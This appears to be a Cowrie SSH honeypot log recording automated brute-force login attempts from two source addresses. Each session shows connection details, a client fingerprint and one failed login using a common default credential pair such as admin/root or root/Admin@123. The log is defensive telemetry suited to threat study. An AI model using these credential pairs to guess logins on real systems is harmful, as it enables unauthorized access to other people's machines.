{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56908,"dst_ip":"159.203.135.109","dst_port":22,"session":"64d04abd482d","protocol":"ssh","message":"New connection: 91.92.42.133:56908 (159.203.135.109:22) [session: 64d04abd482d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:40.080289Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:40.601989Z","src_ip":"91.92.40.171","session":"d5263fb7f8d7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:40.824430Z","src_ip":"91.92.42.133","session":"64d04abd482d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:40.829890Z","src_ip":"91.92.42.133","session":"64d04abd482d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:41.990997Z","src_ip":"91.92.40.171","session":"d5263fb7f8d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:42.056988Z","src_ip":"91.92.40.171","session":"f881b46b66b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:43.802653Z","src_ip":"91.92.42.133","session":"64d04abd482d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:45.112726Z","src_ip":"91.92.42.133","session":"64d04abd482d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47876,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3e0ffe96770","protocol":"ssh","message":"New connection: 91.92.40.171:47876 (159.203.135.109:22) [session: f3e0ffe96770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:46.522670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:46.571368Z","src_ip":"91.92.40.171","session":"f3e0ffe96770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:46.647223Z","src_ip":"91.92.40.171","session":"f3e0ffe96770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:47.014779Z","src_ip":"91.92.40.171","session":"f3e0ffe96770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57204,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0edc99f6bbb","protocol":"ssh","message":"New connection: 91.92.42.133:57204 (159.203.135.109:22) [session: d0edc99f6bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:47.831793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:48.161622Z","src_ip":"91.92.42.133","session":"d0edc99f6bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:48.165979Z","src_ip":"91.92.42.133","session":"d0edc99f6bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:48.409176Z","src_ip":"91.92.40.171","session":"f3e0ffe96770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:50.675216Z","src_ip":"91.92.42.133","session":"d0edc99f6bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:52.248225Z","src_ip":"91.92.42.133","session":"d0edc99f6bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47890,"dst_ip":"159.203.135.109","dst_port":22,"session":"243cb2db4e50","protocol":"ssh","message":"New connection: 91.92.40.171:47890 (159.203.135.109:22) [session: 243cb2db4e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:52.659611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:52.751822Z","src_ip":"91.92.40.171","session":"243cb2db4e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:53.075478Z","src_ip":"91.92.40.171","session":"243cb2db4e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:54.606293Z","src_ip":"91.92.40.171","session":"243cb2db4e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59866,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f1d465f2bcd","protocol":"ssh","message":"New connection: 91.92.42.133:59866 (159.203.135.109:22) [session: 1f1d465f2bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:54.689620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:55.268900Z","src_ip":"91.92.42.133","session":"1f1d465f2bcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:55.271864Z","src_ip":"91.92.42.133","session":"1f1d465f2bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:56.303193Z","src_ip":"91.92.40.171","session":"243cb2db4e50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b6ce3ead67d","protocol":"ssh","message":"New connection: 91.92.40.171:49302 (159.203.135.109:22) [session: 4b6ce3ead67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:57.647451Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:57.748121Z","src_ip":"91.92.42.133","session":"1f1d465f2bcd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:57.887898Z","src_ip":"91.92.40.171","session":"4b6ce3ead67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:57.890798Z","src_ip":"91.92.40.171","session":"4b6ce3ead67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:58.650429Z","src_ip":"91.92.40.171","session":"4b6ce3ead67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:59.298718Z","src_ip":"91.92.42.133","session":"1f1d465f2bcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:19:59.756277Z","src_ip":"91.92.40.171","session":"4b6ce3ead67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59884,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f4e758c74b","protocol":"ssh","message":"New connection: 91.92.42.133:59884 (159.203.135.109:22) [session: 27f4e758c74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:01.987832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:02.616186Z","src_ip":"91.92.42.133","session":"27f4e758c74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:02.619772Z","src_ip":"91.92.42.133","session":"27f4e758c74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49354,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a68eec1878c","protocol":"ssh","message":"New connection: 91.92.40.171:49354 (159.203.135.109:22) [session: 1a68eec1878c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:03.425216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:03.528015Z","src_ip":"91.92.40.171","session":"1a68eec1878c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:03.531524Z","src_ip":"91.92.40.171","session":"1a68eec1878c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:04.445005Z","src_ip":"91.92.40.171","session":"1a68eec1878c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:05.582376Z","src_ip":"91.92.40.171","session":"1a68eec1878c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:05.794969Z","src_ip":"91.92.42.133","session":"27f4e758c74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:07.081196Z","src_ip":"91.92.42.133","session":"27f4e758c74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50436,"dst_ip":"159.203.135.109","dst_port":22,"session":"651e10a7f530","protocol":"ssh","message":"New connection: 91.92.40.171:50436 (159.203.135.109:22) [session: 651e10a7f530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:09.310206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:09.328905Z","src_ip":"91.92.40.171","session":"651e10a7f530","protocol":"ssh"}
